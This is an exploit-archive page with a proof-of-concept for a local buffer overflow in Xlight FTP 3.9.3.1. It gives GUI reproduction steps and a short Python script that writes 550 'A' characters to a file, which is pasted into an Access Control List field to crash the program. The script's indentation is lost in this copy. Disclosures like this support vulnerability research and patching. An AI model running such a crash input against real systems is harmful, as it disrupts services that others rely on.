Xlight ftp 3.9.3.1 buffer overflow (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-11-12 | Type : dos | Platform : windows
This exploit / vulnerability Xlight ftp 3.9.3.1 buffer overflow (poc) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Xlight FTP 3.9.3.1 - 'Buffer Overflow' (PoC)
# Discovered by: Yehia Elghaly
# Discovered Date: 2021-11-12
# Vendor Homepage: https://www.xlightftpd.com/
# Software Link: https://www.xlightftpd.com/download/setup.exe
# Tested Version: 3.9.3.1
# Vulnerability Type: Buffer Overflow Local
# Tested on OS: Windows XP SP3 - Windows 7 Professional x86 SP1 - Windows 10 x64

# Description: Xlight FTP 3.9.3.1 'Access Control List' Buffer Overflow (PoC)

# Steps to reproduce:
# 1. - Download and Xlight FTP
# 2. - Run the python script and it will create exploit.txt file.
# 3. - Open Xlight FTP 3.9.3.1
# 4. - "File and Directory - Access Control List - Setup - Added users list directories
# 5. - Go to Specify file or directory name applied or Specify username applied to or Specify groupname applied
# 6. - Go to Setup -> added -> Enter new Item - Paste the characters
# 7 - Crashed

#!/usr/bin/python

exploit = 'A' * 550

try:
file = open("exploit.txt","w")
file.write(exploit)
file.close()

print("POC is created")
except:
print("POC not created")